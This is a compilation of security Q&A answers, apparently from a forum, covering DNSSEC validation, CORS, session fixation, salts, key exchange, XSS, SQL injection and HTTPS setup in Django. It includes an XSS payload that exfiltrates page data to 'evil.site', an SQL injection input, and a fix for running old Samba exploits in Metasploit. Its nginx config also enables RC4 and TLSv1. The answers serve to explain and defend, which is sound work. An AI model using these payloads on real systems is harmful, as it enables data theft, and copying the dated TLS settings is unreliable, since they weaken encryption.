Can someone please confirm one of these explanations of the DNSSEC chain of trust?

Both explanations are correct, they are just summaries of what happens, so obviously the devil is in the details. Including what shortcuts are used for efficiency, the state of the cache, if QNAME minimization is into play, etc.

But you do not need to think about theories, you can observe in real life.

Use the delv  application. It is described as such:

  delv is a tool for sending DNS queries and validating the results, using the same internal resolver and validator logic as named.

So using it show exactly what a (bind) recursive nameserver does, both about records fetching and then DNSSEC validation.

Let us try with: delv +rtrace +vtrace www.icann.org

After some time you get the final results at the end of the output:

; fully validated
www.icann.org.      0   IN  CNAME   www.vip.icann.org.
www.icann.org.      0   IN  RRSIG   CNAME 7 3 3600 20191117090520 20191027015903 8150 icann.org. mmVZ3tzEr1rRDXIVF4TiqcnAwyNzA6kV+FXq1/8CSeZfVUa1260NfIxQ TzaV05NHSvW7CqeBXskzmPjCkSAGpF2breelu+k1Qd9CfJ7/+gp38mFO zTddZdZDL+ddU5rlaeaF17OokcPUnBtR23buBmWZ/mK83heXSKrWHfKn lNQ=
www.vip.icann.org.  30  IN  A   192.0.32.7
www.vip.icann.org.  30  IN  RRSIG   A 7 4 30 20191107231353 20191031231353 52760 vip.icann.org. jtvLS1ylxThi0xlObrrDA4nSM5GbpKeBvhcKlRn3em103AIxGAMu7o24 5uzhGQVZn4AsEH62/2JfWYQVavOnsb4rI8+rl5iw/XmUkoy7neBNybB6 kjrfcaUbCNhjgoipGotlUolqlNjKKzkMHbGLdUCMOzdlacfuK1gz825c PuA=
www.vip.icann.org.  30  IN  RRSIG   A 7 4 30 20191109071334 20191102071334 14702 vip.icann.org. LxEa+CV0bIB9I2s8v9MaK9JXoOEghUiYSotxACrxq2TxclX/6HPWBX+l SF5Y6iQ5ikMTjKd3XjmRO0Bawq+b7NWX2EToGGhGv51Vv69xi8++03zg JoSimnGmLPoOwK/RS8+MOouS2O629ycAa9JGtpy+Erx/tahCc5oRpXfg 6h4=

So first you see that, for this record, DNSSEC was fully validated, and then you see the records themselves (this name is a CNAME).

Now if you get back to previous lines of the output you see how this conclusion was reached.

First, the name resolution itself, and grabing the relevant DS and DNSKEY byt climbing back to the root:

;; fetch: www.icann.org/A
;; validating www.icann.org/CNAME: starting
;; validating www.icann.org/CNAME: attempting positive response validation
;; fetch: icann.org/DNSKEY
;; validating icann.org/DNSKEY: starting
;; validating icann.org/DNSKEY: attempting positive response validation
;; fetch: icann.org/DS
;; validating icann.org/DS: starting
;; validating icann.org/DS: attempting positive response validation
;; fetch: org/DNSKEY
;; validating org/DNSKEY: starting
;; validating org/DNSKEY: attempting positive response validation
;; fetch: org/DS
;; validating org/DS: starting
;; validating org/DS: attempting positive response validation
;; fetch: ./DNSKEY

So in summary:

first getting the record itself, showing it exists in the icann.org zone
so fetching DNSKEY records for icann.org zone
since they exist, we now need the DS records in parent zone, org
since they exist, we now need the DNSKEY records in org
since they exist, we now need the DS records in parent zone, .
since they exist, we now need the DNSKEY records of this . zone
and we stop here because we discover that the DNSEY records we got are in fact our trusted key (from delv documentation: "-a anchor-file
       Specifies a file from which to read DNSSEC trust anchors. The default is /etc/bind.keys, which is included with BIND 9 and contains one or more trust anchors for the root zone (".").
")

You can see that this first step, collecting DS and DNSKEY records, was bottom to top.

Now there is the second part of the output, validating th whole chain, and it goes like that:

;; validating ./DNSKEY: starting
;; validating ./DNSKEY: attempting positive response validation
;; validating ./DNSKEY: verify rdataset (keyid=20326): success
;; validating ./DNSKEY: signed by trusted key; marking as secure
;; validating org/DS: in fetch_callback_validator
;; validating org/DS: keyset with trust secure
;; validating org/DS: resuming validate
;; validating org/DS: verify rdataset (keyid=22545): success
;; validating org/DS: marking as secure, noqname proof not needed
;; validating org/DNSKEY: in dsfetched
;; validating org/DNSKEY: dsset with trust secure
;; validating org/DNSKEY: verify rdataset (keyid=9795): success
;; validating org/DNSKEY: marking as secure (DS)
;; validating icann.org/DS: in fetch_callback_validator
;; validating icann.org/DS: keyset with trust secure
;; validating icann.org/DS: resuming validate
;; validating icann.org/DS: verify rdataset (keyid=11324): success
;; validating icann.org/DS: marking as secure, noqname proof not needed
;; validating icann.org/DNSKEY: in dsfetched
;; validating icann.org/DNSKEY: dsset with trust secure
;; validating icann.org/DNSKEY: no DNSKEY matching DS
;; validating icann.org/DNSKEY: verify rdataset (keyid=18060): success
;; validating icann.org/DNSKEY: marking as secure (DS)
;; validating www.icann.org/CNAME: in fetch_callback_validator
;; validating www.icann.org/CNAME: keyset with trust secure
;; validating www.icann.org/CNAME: resuming validate
;; validating www.icann.org/CNAME: verify rdataset (keyid=8150): success
;; validating www.icann.org/CNAME: marking as secure, noqname proof not needed
;; fetch: www.vip.icann.org/A
;; validating www.vip.icann.org/A: starting
;; validating www.vip.icann.org/A: attempting positive response validation
;; fetch: vip.icann.org/DNSKEY
;; validating vip.icann.org/DNSKEY: starting
;; validating vip.icann.org/DNSKEY: attempting positive response validation
;; fetch: vip.icann.org/DS
;; validating vip.icann.org/DS: starting
;; validating vip.icann.org/DS: attempting positive response validation
;; validating vip.icann.org/DS: keyset with trust secure
;; validating vip.icann.org/DS: verify rdataset (keyid=8150): success
;; validating vip.icann.org/DS: marking as secure, noqname proof not needed
;; validating vip.icann.org/DNSKEY: in dsfetched
;; validating vip.icann.org/DNSKEY: dsset with trust secure
;; validating vip.icann.org/DNSKEY: verify rdataset (keyid=45993): success
;; validating vip.icann.org/DNSKEY: marking as secure (DS)
;; validating www.vip.icann.org/A: in fetch_callback_validator
;; validating www.vip.icann.org/A: keyset with trust secure
;; validating www.vip.icann.org/A: resuming validate
;; validating www.vip.icann.org/A: verify rdataset (keyid=52760): success
;; validating www.vip.icann.org/A: marking as secure, noqname proof not needed

As you can see now the process is top to bottom:

we validate the root key based on local data (trust anchor)
from that, we validate the DS record for org in root zone, as signed by a trusted DNSKEY
then the correspondig key is considered trusted and is seen as used in a DS record for icann.org
so we do the same step but one zone lower
and finally we validate the CNAME record for www.icann.org because this is the name we asked for
but since this is a CNAME and user (implicitely) asked for an A record, the resolution process continue
and the target of the CNAME record is in its own separate delegated record vip.icann.org so there is again a step of DS and DNSKEY records fetch and validation.
and all finishes well, with A record for www.vip.icann.org being fully validated.


Storing credit cards for automatic payments?

There are lots of different ways in which PCI impacts what you do; I'd point out the data security standards (PCI-DSS). Among many other things, they require strong  authentication for anyone accessing the system remotely, and have a wide variety of restrictions on what kind of data you can keep.

Don't even think about storing credit cards without understanding PCI.

At high levels of sales, you will have to be audited by an accredited third party, and the audits can be quite strict, so start documenting early with that in mind.


Does returning Access-Control-Allow-Origin: * weaken the security of JSON GET responses?

This much you understand already: The main idea here is that script elements (<script src="http://example.com/myscript.js">) are not subject to same-origin restrictions. Therefore, a site can load any script URL and execute that script (as long as the script does not require credentials or the browser has necessary credentials to access the script). However, the browser cannot read a script loaded in a <script> element.

You might rephrase the W3C's recommendation as:

  If all the information in a resource can be obtained by running the resource as a script, then you may freely add Access-Control-Allow-Origin: *.

Therefore, raw JSON does not meet this requirement. If you execute the script:

(["foo", 5, 7])

then no information is added to the execution environment. (A few years ago, it could have, by redefining the Array constructor, but modern browsers have eliminated this vulnerability.)

However, the script

window.secrets = ["foo", 5, 7];

does make an observable change to the execution environment. You might as well allow the any page to fetch the contents of the resource through Ajax, because it contains no information that the page couldn't learn by running the script in a <script> element.

The phrase "sensitive comments" refers to actual JavaScript code comments (/* e.g., like this */). Comments are not readable from a <script> execution, but they would be readable when accessing the script content via Ajax. For example, the script:

// by the way, the fourth secret is "bar"
window.secrets = ["foo", 5, 7]

leaks the same information as the previous example when executed in a <script> tag, since the comment is only visible when viewing the actual script text.

If the resource requires OAuth credentials and does not accept cookie credentials, section 4 indicates:

  requests ought to set the omit credentials flag and resources ought to perform authorization using security tokens explicitly provided in the content of the request

Cross-origin requests via HTML script elements would never include OAuth credentials, and those requests would fail authorization regardless of the value of the response's Access-Control-Allow-Origin header.

If the resource requires credentials and preflight, the preflight response it must also be served with Access-Control-Allow-Credentials: true. If the server doesn't send that header, then a site cannot send a cross-domain credentialed request to read the script content. Therefore, Access-Control-Allow-Origin: * does not weaken the security of the credential-protected resource, because credentials for the target domain will not be sent over Ajax unless the server also sets Access-Control-Allow-Credentials: true.

If the resource requires credentials but not preflight, the credentials would be sent in the request before the server has a chance to include Access-Control-Allow-Credentials: true in the response. The end result is the same -- the browser will not share the response with the cross-origin web content making the request -- but for different reasons.

Section 6.1 says:

  The string "*" cannot be used for a resource that supports credentials.

And the resource sharing check would fall through step 2 of section 7.2 and fail at step 3:

  If the Access-Control-Allow-Origin header value is the "*" character and the omit credentials flag is set, return pass and terminate this algorithm.
  If the value of Access-Control-Allow-Origin is not a case-sensitive match for the value of the Origin header as defined by its specification, return fail and terminate this algorithm.


The reason why it is best to change session ID's upon login is due to potential man-in-the-middle vulnerabilities. If an attacker captures your session ID, they can use it to pose as the legitimate user. This is called a session-fixation vulnerability. Changing session ID's upon every login will help to prevent this vulnerability, as the previous session ID will be deemed invalid and the attacker can not use it to authenticate anymore.

References:

https://www.owasp.org/index.php/Session_fixation
https://www.owasp.org/index.php/Session_hijacking_attack


Adding Expect-CT header to HTTP response

Because I don't have uri here, the report will not be sent, so there
is no additional security at all.

You are right.
In case enforced is not specified, as in your case, and browser detects a CT violation, e.g. because a mis-issued certificate is used or because of misconfiguration of your web site, it makes sense to report it to the web site owner. Then, if the problem was caused by misconfiguration, the owner has a chance to fix it. In your case the URI is empty, it means the problems will not be reported to you. In your case, the enforce flag is not specified. This means, in case of problems browser will still establish connection. Thus, as you said, such usage of Expect-CT has no additional security.
In case enforced is specified, the browser will refuse connections to the host. In such cases, even if URI is empty or means a non-existing endpoint, there is still a value: Browser will warn the user and will refuse connections that are insecure.

additionally developers set this to:
Expect-CT: max-age=0, report-uri=

Because of the reasons above, this makes no sense.

So because certificates are expected to support SCTs by default I do
not think that this header makes any sense.

From the user perspective, both SCT and Expect-CT (with enforce flag) will prevent insecure connections. But if Expect-CT uses a URI to report problems, it can be easier for the owner to be informed about the problems. Otherwise it make take a long time until you get informed that some users experience problems when connecting to your web site, and may be even stopped visiting it.
But what is the probability that you mis-configure certificate? See details below.

On the other hand I see that some popular websites like Linkedin still
use this header ...

I suppose Linkedin wants to be informed about the cases when browser believed that CT was violated, e.g. a mis-issued certificates were used or web site was mis-configured.
To use or not to use?
I have no statistics about what percentage of users face any CT problems and how many of them are caused by CA, how many otherwise valid certificates are not registered in the log, or if there are any CAs that issue especially many certificates without proper registration in the log. That's why I cannot decide for you if you should use Expect-CT.
I would suggest that you try first to rely on SCT only. Depending on how CA delivers SCT, some configuration of web server may be needed. Then use some online service to do a detailed test of certificate configuration of your web site. There are many such services. It is up to you which one to prefer. After you fixed any issues that such service has found, you can assume that for the most users it will work well and thus Expect-CT will not have any considerable additional value.


Is there a danger to client port scanning?

Why would a web application try to connect to a port on localhost?

A simple explanation that doesn't involve malicious acting is developmental tasks. Depending on the environment, some developers may install a local, lightweight copy of the backend API on their development machine. This would allow the frontend code to try and connect to localhost and do its things on the developer machine, rather than the production backend.

Why would such a code be in a production app?

It wouldn't be unheard of that someone accidentally pushed code to the wrong branch. I've seen plenty of debug code in production releases. With a big enough codebase and enough developers, someone, somewhere will push some debug code to production, sooner or later.

Are there other explanations?

Yes, certainly. Banks have, depending on the jurisdiction, many obligations they need to fulfill. As you may know, politics is as much about personal image as it is about the actual effect of policies. So some politicians may try to boast that they pushed some regulation that forces banks "to do security stuff", which ends up in regulations like "Banks have to detect if end-users have malware on their computer and warn them".

This sounds good to politicians and other non-tech users, but when these policies then end up in the hands of developers and system administrators, who then have the unfortunate task of implementing these, it quickly turns into a nightmare.

So what do banks usually do in such cases? They buy some software that claims to do exactly that. What does that software do? God knows, but it ticks the checkbox, and that's good enough. What the software actually does isn't important, as long as they can claim it does something. And searching for open ports on the system of the user seems like a good thing to do.

Can this be dangerous for me?

It might have adverse side effects for you. Depending on what the software is set out to do, it may detect legitimate software on your PC as malware and alert the bank that you have malware on your PC. Depending on how the bank is run internally, this might mark you as a "risk user" and give you worse conditions down the line.

Of course, this is very speculative, but it is a risk nonetheless. It also could mess with the software you have on your PC. Simply the act of attempting a new connection could cause your application to react differently, and thus adversely to what you may have intended to do.

Finally, the bank or other website may also detect certain local applications and use this to profile you in different way, such as "Web Developer" or what not. This may be information you consider none of the bank's business.

Is this legal?

I am not a lawyer and I can't answer for the legality of this practice. If you care about your own bank, then I suggest contacting a lawyer in your area. They will certainly be equipped to answer your concerns in regards to your applicable jurisdiction.


Not storing the salt is bad advice.

The main purpose of a salt is that each user password has to be attacked individually.

If you do not store the salt then, as you said, you need to try every single salt combination in order to validate the password. If you need to check every single salt combination, this means that the salt cannot be too long (you mentioned 12 bits in a comment). If the salt is not long, it means that the salt will be repeated for many users. If it's repeated for many users, it means the attacker will be able to attack many users at the same time, which will save the attacker time.

By doing that, you nearly completely defeat the purpose of using a salt.


Anthem Leak - How do I find out if I'm affected?

First, if you're a current or former member of Anthem, (or think you may be) they have a toll-free number you can call for more information on the breach and how you are affected: 1-877-263-7995.  They have also set up an FAQ with more information on the scope of the breach.  I'd suggest reviewing this to get a better idea of how you've been affected.

What precautions can you take?

You can change your password to any Anthem website, if it makes you feel better, but there's no indication at this point that passwords of any kind were accessed.  (It seems to be a customer database that was pilfered, not an application database with authentication credentials.)
Verifying that you don't re-use passwords between sites is generally good practice, which you've said you already follow.  A breach can be used as a periodic reminder to review passwords, change weak ones, and reassure yourself that you're not re-using them.
You should definitely monitor your credit, since critical PII (SSN, DOB, all of the sort of information you'd need to set up a financial account) was released.  They'll provide free monitoring for some period of time if your information was released, but I'd generally recommend that you should be regularly monitoring your credit in an on-going fashion, regardless of whether your information has been released in a specific breach or not.
No medical or credit card information appears to have been stolen, so no reason to worry about that at this junction.  Again, however, it's always good practice to monitor credit card statements closely.  Though they weren't impacted by this breach, they're stolen frequently enough that it's important to always be on-guard against card abuse.
Be extra on-guard for phishing attempts.  I've personally had my email released in data breaches lead directly to broadly-targeted phishing attacks.  So, be extra wary of emails purporting to be from Anthem, or related to Anthem.


Why do SSL certs use saved private keys?

When you connect to a server there are two types of encryption in play.

First, there's a public-private keypair associated with asymmetric encryption that is used to validate your identity.  Typically (in the case of visiting HTTPS websites), you create a long lived pair of keys (one public and one private), submit the public key part and identifying information to a trusted certificate authority (CA), prove your identity to the certificate authority's satisfaction (e.g., verify you control the domain the certificate is being issued for), and the certificate authority signs the certificate for you.  Now you post your CA-signed certificate publicly on your website.  Anyone connecting to the website for the first time, whose browser/OS already trusts the CA that signed your certificate, can verify the identity of the website you are connecting to by issuing challenges to the CA-signed certificate that you can only answer if you control the websites private key.  Note the certificate is only used for the authentication of identity (by relying on chain of trust with certificate authority) at the start of a conversation.

To actually transmit data, you don't use asymmetric encryption as asymmetric encryption is slow and only encrypts short messages.  Symmetric encryption is much faster and work well to encrypt arbitrarily large messages quickly.  For the symmetric encryption part, you use key exchange protocols like DHE to have both servers negotiate a shared symmetric key that will be used to encrypt and decrypt messages, and the key exchange protocol can negotiate a random symmetric key without actually sending the shared symmetric key over the network.

For an example of a key exchange protocol that doesn't send the full key over the network for Alice to send a message to Bob, first they both agree on two numbers generator (g) and modulus (N) and each picks a secret random number a and b (Alice generates a and Bob generates b; note Alice will never learn b and Bob will never learn a).  Then Bob send a message to Alice containing Kb = g^b mod N.  Alice calculates the shared secret key K = g^(ab) mod N by calculating K = Kb^a mod N.  Alice uses the secret key K to symmetrically encrypt her message and sends it to Bob along with Ka = g^a mod N that Bob will need to decrypt.  If a network eavesdropper Eve listens in on their messages, they see g, N, g^a mod N, g^b mod N and the encrypted message, but do not have a known feasible way to calculate K without additionally knowing a or b.  This key exchange however is still vulnerable to active tampering, where Alice could try sending a message to Bob, but instead Eve pretends to be Bob.  This is why in addition to forward secrecy at the start of the conversation you need Alice and Bob to identify each other (which is customarily done using the long lived certificates signed by CAs).

Forward secrecy does your suggestion of not reusing the random symmetric keys at all, but renegotiating them with each exchanged message.


Google Account Compromised - Possible Investigation?

The only thing you can do is take a look at the "Recent Activities".

You can find it by

clicking on the gear icon at top right of your Gmail page
then selecting Settings,
scrolling to the bottom of the subsequent screen and...
clicking the Details hyperlink at the bottom right, right beneath where it says something like, "Last activity in this account : xx hours ago".

When you click on the Details link, you'll have a list of all active current sessions for your Gmail account. You can close them by clicking the button, "Sign out all other Gmail web sessions".

You'll also find a table listing the last 10 access to your account. Try to find an IP address that doesn't belong to you, it might help. (But it's just an IP, and as you may know, this can be falsified :/).

That's the only thing you can investigate for sure.

But you can see if mails has been sent (look in the Sent folder, but maybe the attacker as deleted them, so look in the Trash folder. But again, maybe the attacker has deleted them for good).

You cannot exactly know what kind of information has been exposed (account password or access sent in your email, information regarding your contact such as email, telephone, etc, nor any settings that have been changed).

Now, I warmly recommend you to enable the two way authentication system from Google, in order to ensure an higher layer of security for your Gmail account.


How safe is it to connect to Internet through VPN?

You need to think of connecting to a VPN like walking over to a physical network and plugging your computer into a switch there.  So:

If you use HTTP, everything is sent in plain text.  The VPN server can read everything.  If you use HTTPS, only the domain of the server will be known by the VPN server.  The first step in a HTTPS session is to establish an SSL connection, everything is encrypted from there.
If you have open ports on your computer (sharing files, music, etc.) this will be visible to the VPN server. Other than this, nothing is revealed.  Again, it's as if you were connected to a physical network. The VPN server doesn't gain any other special privileges.

There is one exception to this, what VPN software are you using?  Do you verify the source?  If you received the VPN software from a questionable source, it could contain a trojan which allows outside attackers access to your computer.

Have you considered Tor or Freenode?  These can run by themselves, or in addition to a VPN to give you privacy when visiting standard HTTP websites.


The Linux kernel itself is not affected. The part responsible for WPA is wpasupplicant. From the Changelog:

  Version: 2.1-0ubuntu1.5   2017-10-16 17:06:43 UTC
    wpa (2.1-0ubuntu1.5) trusty-security; urgency=medium

  SECURITY UPDATE: Multiple issues in WPA protocol

  debian/patches/2017-1/*.patch: Add patches from Debian jessie
  CVE-2017-13077, CVE-2017-13078, CVE-2017-13079, CVE-2017-13080,
  CVE-2017-13081, CVE-2017-13082, CVE-2017-13086, CVE-2017-13087,
  CVE-2017-13088


Anyone out there using Umbrella from OpenDNS? What exactly is it?

Great thread Brian and Ramhound. I work at OpenDNS and may be able to offer some clarity...

Our Umbrella products use a combination of DNS routing, VPN tunneling and selective proxying to secure any devices behind Internet gateways (e.g. router, WiFi AP) or the devices (e.g. desktops, laptops, tablets, phones) themselves. The backbone is built on OpenDNS's global network, but we've added traffic enforcement technologies beyond only DNS monitoring and filtering in 2012. In 2013, we're excited to continue this trend.

In regards to AV scanning, you're both correct that we do not presently use a signature database to match for known malicious executables. However, our approach of preventing connections to malicious sites is not limited to only those that are known to host threats. We're harnessing the insights from over 50B+ daily requests, plus our knowledge for how all sites are related to one another (learned from our global Anycast-routed network) to predict what other sites are also used for malicious purposes. Whether or not the threats on these additional sites are known yet to the AV community.

Having said this, we do not advise removing existing AV clients as it was pointed out that removable media, email attachments and other vectors can still be used to infect the device. Also, AV is still effective for blocking most known threats. But industry analysts like IDC believe its efficacy has fallen to 30-50% of all threats out there.

What Umbrella does really well for your security program is to not only add defense-in-depth, but also add defense-in-breadth. Since we restore visibility and control for your nomadic workers, and we apply our protection for any application, protocol or port. Web proxy-based solutions offered by Webroot and Panda are limited to HTTP (80), and maybe HTTPS (443). They also don't address mobile devices like iPhones very well, if at all, which use APIs that do not allow AV apps to effectively scan for threats.

Hope this helps, and please continue the thread if you have further questions or would like to discuss other Internet security matters.


Simple answer to your question: do not design your own protocol, it will not be secure.

Longer answer: it is not secure for general use. Problems off the top of my head:

Alice does not know she is talking to Bob. Anyone could replay an earlier challenge, and Alice would respond to it without knowing to whom she is talking. You might mitigate this in many ways, but your extremely non-detailed protocol doesn't define anything to mitigate it.
Bob doesn't really know it's Alice. You didn't include anything in your extremely limited protocol definition to ensure that responses cannot be replayed. If Bob sends the same R, Alice will send the same R+1. If the attacker intercepts all R messages and all R+1 messages, he can replay the R+1 ciphertext without ever knowing the plaintext.
This protocol does nothing to prevent a man in the middle. The attacker can intercept and forward all messages and will remain undetected.


This is an issue for all "older" samba exploits, e.g. lsa_transnames_heap, chain_reply and trans2open. It always gives the error "undefined local variable or method 'args'"

I just found the solution for this:

If you have/want to fix this manually, you have to go to the library file of the smb-client (/usr/share/metasploit-framework/lib/rex/proto/smb/client.rb)

There you have to change line 657 from return session_setup_clear(*args)  to return session_setup_clear(user, pass, domain)  and it should work again.


Is there an asymmetric encryption algorithm that maintains the length of the plaintext?

Basically, you're asking for an asymmetric cipher that can have a block size either equal to your message, or to the character size of your message encoding (8 bits for ASCII/UTF8, 16 and 32 for UTF-16 and -32 respectively).

Vanilla RSA can technically do this; you must simply limit the bitsize of the unsigned integer N, produced by choosing two random primes p and q (p must thus be less than sqrt(N), and the domain of possible q values is reduced the closer p is to sqrt(N)). The maximum N can either be of the same order of magnitude as the concatenated message, or some even divisor of it (down to 1 byte/character)

There are however two serious problems with this:

RSA is only secure for very large key sizes; its difficulty is inherent in finding the p and q that produce N, and so the security of any encryption including RSA is in having a literally out-of-this-universe number of possible keys to choose from**. So, tailoring key size to message length would only be secure from a key size perspective if the message were at least 256 ASCII characters (producing a 2048-bit message allowing a securely-large key). Small message sizes (key lengths of 8-32 bits) are trivially broken; worst-case (for an attacker), a 32-bit key requires finding a prime integer p < sqrt(232) = 65536 that evenly divides N; by the prime number theorem there are only 5900 possibilities. You could almost feasibly crack such a key "by hand" with a calculator.
In addition, and more serious, RSA without the proper encryption padding is vulnerable to known-plaintext attacks and in cases that reduce to trivial examples. OAEP, the gold standard RSA padding scheme, uses two hash functions, one of which must have a bit length at least the bit size of the plaintext message, and the length of the full padded message is equal to the sum of both functions' hash message lengths, so the padded message will always be greater than the unpadded message.

Therefore, the approach of plain RSA with a tailored key size should be regarded as fundamentally flawed. Every other public-key system I can find, such as elliptic-curve encryption, has similar limitations based on the math used for the encryption.

**2048 bits is the smallest recommended key size for X.509 digital certificates. 22048 ~= 3.2317e616. Putting this number in perspective, a Planck volume is 4.22419e−105 m3; this unit is, in theory, the granular "resolution" of the universe, based on the Planck length being the smallest distance that any instrument could ever measure. The observable universe is at least on the order of 1e27 m in radius (13.7 billion light years), so the sphere of our observable universe is ~ 4.189e79 m3 ~= 1.7e185 Pl3. That means that if we could not only "count the stars and call them by name", but assign an ordinal to every granular piece of our observable universe, the number of numbers we'd need is 400 decimal digits shorter than the number of numbers inherent in the RSA keyspace.


If a friend asks you to look into his site just tell him to hand you the code in question. It will be much easier to see than to test and a lot more reliable.


Executing XSS on .jsp page by escaping string and with raw bytecode?

how could they escape the string and run code server-side

The only way an attacker could cause a string to be executed on the server-side, is if the server interprets the string code. If the server only echos the string back to the client, then the code cannot run server-side. (but, as you stay, can still be an XSS attack vector)

The following situations are the most common cases where a user-provided string could accidentally be interpreted as code, and therefore executed on the server.

SQL Injection vulnerabilities are the most common occurrence of this. In many cases, Java produces an SQL string, which, when combined with unsanitized or poorly escaped input, could allow the attacker to run arbitrary SQL commands. In most cases this is limited to accessing, updating or deleting the data that SQL user has access to, but in certain situations an SQLi attack could be used to gain higher access to the system.
A poorly designed file upload mechanism could use Path Traversal to place an executable file on the server, either for automated execution via cron, or in the docroot for execution via HTTP request. (a file download feature could also be vulnerable to path traversal)
Buffer Overflow vulnerabilities are a common occurrence in low-level programming languages such as C or C++.

Those who develop in a high-level language like Java have the luxury of automatic buffer allocation and will not be able to create one of these vulnerabilities in most situations.

However, sometimes a high-level language will tie-in to a vulnerable module. For example, an image processing or HTTPS encryption layer may be written in a low-level language to help it run faster.

As always, monitor your packages for security updates that may need to be installed.

  Since java just compiles down to bytecode, is it possible to inject bytecode directly in a scenario like this?

This would require vulnerability (item 3 above) within the Java runtime, but the desired effect may be achievable with item 2.


XSS risk for an application which can be accessed from localhost only

Yes, it's an issue.

The entire point of an XSS is to send a user to a crafted URL that exploits the bug on that user's browser. If an attacker knows an XSS exists, he could craft an XSS URL and send it to a target user, and that user would be able to access the localhost domain.

For example, say there's a page called /viewitem which takes a parameter name, which is vulnerable to XSS:

http://localhost/viewitem?id=123&name=n<script>alert(document.cookie);</script>

He sends you that link. You click it, and suddenly you're greeted by an alert box containing the cookies for the page. In reality, he'd post the cookie value off to a 3rd party site, and he's stolen your cookies! In this case he can't actually access the site, so it's a moot point.

However, depending on the configuration of the site, he may be able to exfiltrate data from the viewitem page too. For example:

http://localhost/viewitem?id=123&name=n<script>var ver=document.getElementById('version').innerHTML;document.location.href='http://evil.site/steal?ver='+encodeURIComponent(ver);</script>

If you've got an element with the id version, the above URL would extract its contents and send it to a 3rd party page, thus informing the attacker of the version of your software. This trick could be extended to steal other private information on the page, or use Ajax to fetch other content from the localhost domain.


SQL injection using letters and numbers?

There would be only a security flaw if it would be possible to leave the MySQL string literal context the $id value is inserted into and to supply arbitrary SQL fragments. And this is only possible if $id contains the plain ' that would denote the ending delimiter of the MySQL string literal:

// resulting SQL statement with $id = "' OR '1'='1"
SELECT * users WHERE id = '' OR '1'='1'

Now since you’re removing any ' character from $id, it is not possible to leave the string literal context and thus it’s not possible to supply arbitrary SQL fragments.

However, this conclusion applies only for the case the value is used in a MySQL string literal. If you’re using the same input filtering on values in a different query, you still may be vulnerable to SQL injections.

This said, methods like mysqli::prepare and mysqli::escape_string are proper mitigation techniques. mysqli::prepare implements so called parameterized statement/query via prepared statements where the command (SQL statement) and the user supplied data are separated from each other so that the user supplied data cannot be mistakenly interpreted as command. mysqli::escape_string would be similar to you current technique as it just escapes certain characters of data to not being confused as control characters like the string literal ending delimiter.


Is there any advantage on using OTR in a messaging app if the messages are first sent to a REST API server over HTTPS?

OTR messages are encrypted end-to-end. This means that the clear-text of OTR messages cannot be accessed by an intermediary such as a server. This is useful to prevent messaging companies, governments, and any other MiTM from snooping on your conversation.

If you are looking to implement your own messaging system using a REST API that records the data that is being messaged, OTR is not what you want as the server will not be able to access the clear-text of the messages for logging. HTTPS will provide you with sufficient on-the-wire security.


Trying to make a Django-based site use HTTPS-only, not sure if it's secure?

Secure your cookies

In settings.py put the lines

SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True

and cookies will only be sent via HTTPS connections.   Additionally, you probably also want SESSION_EXPIRE_AT_BROWSER_CLOSE=True.  Note if you are using older versions of django (less than 1.4), there isn't a setting for secure CSRF cookies.  As a quick fix, you can just have CSRF cookie be secure when the session cookie is secure (SESSION_COOKIE_SECURE=True), by editing  django/middleware/csrf.py:

class CsrfViewMiddleware(object):
   ...
   def process_response(self, request, response):
       ...
       response.set_cookie(settings.CSRF_COOKIE_NAME,
            request.META["CSRF_COOKIE"], max_age = 60 * 60 * 24 * 7 * 52,
            domain=settings.CSRF_COOKIE_DOMAIN,
            secure=settings.SESSION_COOKIE_SECURE or None)

Direct HTTP requests to HTTPS in the webserver

Next you want a rewrite rule that redirects http requests to https, e.g., in nginx

server {
   listen 80;
   rewrite ^(.*) https://$host$1 permanent;
}

Django's reverse function and url template tags only return relative links; so if you are on an https page your links will keep you on the https site.

Set OS environmental variable HTTPS to on

Finally, (and my original response excluded this), you need to enable the OS environmental variable HTTPS to 'on' so django will prepend https to fully generated links (e.g., like with HttpRedirectRequests).  If you are using mod_wsgi, you can add the line:

os.environ['HTTPS'] = "on"

to your wsgi script.  If you are using uwsgi, you can add an environmental variable by the command line switch --env HTTPS=on or by adding the line env = HTTPS=on to your uwsgi .ini file.  As a last resort if nothing else works, you could edit your settings file to have the lines import os and os.environ['HTTPS'] = "on", which also should work.

If you are using wsgi, you may want to additionally set the environmental variable wsgi.url_scheme to 'https' by adding this to your settings.py :

os.environ['wsgi.url_scheme'] = 'https'

The wsgi advice courtesy of Vijayendra Bapte's comment.

You can see the need for this environmental variable by reading django/http/__init__.py:

def build_absolute_uri(self, location=None):
    """
    Builds an absolute URI from the location and the variables available in
    this request. If no location is specified, the absolute URI is built on
    ``request.get_full_path()``.
    """
    if not location:
        location = self.get_full_path()
    if not absolute_http_url_re.match(location):
        current_uri = '%s://%s%s' % (self.is_secure() and 'https' or 'http',
                                     self.get_host(), self.path)
        location = urljoin(current_uri, location)
    return iri_to_uri(location)

def is_secure(self):
    return os.environ.get("HTTPS") == "on"

Additional Web Server Things:

Take that guy's advice and turn on HSTS headers in your web server by adding a line to nginx:

add_header Strict-Transport-Security max-age=31536000;

This tells your web browser that your website for the next 10 years will be using HTTPS only.  If there's any Man-in-the-middle attack on any future visit from the same browser (e.g., you log on to a malicious router in a coffee-shop that redirects you to an HTTP version of the page), your browser will remember it is supposed to be HTTPS only and prevent you from inadvertently giving up your information.  But be careful about this, you can't change your mind and later decide part of your domain will be served over HTTP (until the 10 years have passed from when you removed this line).  So plan ahead; e.g., if you believe your application may soon grow in popularity and you'll need to be on a big CDN that doesn't handle HTTPS well at a price you can afford, you may have an issue.

Also make sure you disable weak protocols.  Submit your domain to an SSL Test to check for potential problems (too short key, not using TLSv1.2, using broken protocols, etc.).  E.g., in nginx I use:

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
ssl_ciphers "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS";


Where could the script be injected from? Pretty much anywhere.  It's a web server, so by definition is exposed to the internet.  There may be a compromised device on your network (although that possibility is low).  You could have a malicious administrator.  First step is to start closing down possible vectors for this.

What can we try? I'd start by looking at permissions and reducing them.  Which accounts have rights to that directory?  Who has access to those acocunts?
